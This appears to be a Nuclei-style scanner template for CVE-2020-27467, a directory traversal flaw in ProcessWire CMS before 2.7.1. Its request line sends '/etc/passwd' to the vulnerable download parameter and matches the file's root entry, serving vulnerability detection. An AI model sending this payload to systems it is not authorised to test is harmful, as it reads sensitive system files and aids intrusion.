id: CVE-2020-27467

info:
  name: Processwire CMS < 2.7.1 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Local File Inclusion in Processwire CMS < 2.7.1 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.
  reference:
    - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire
    - https://processwire.com/
    - https://www.cvedetails.com/cve/CVE-2020-27467
    - https://github.com/ceng-yildirim/LFI-processwire
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27467
    cwe-id: CWE-22
  tags: cve,cve2020,processwire,lfi,cms,oss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?download=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200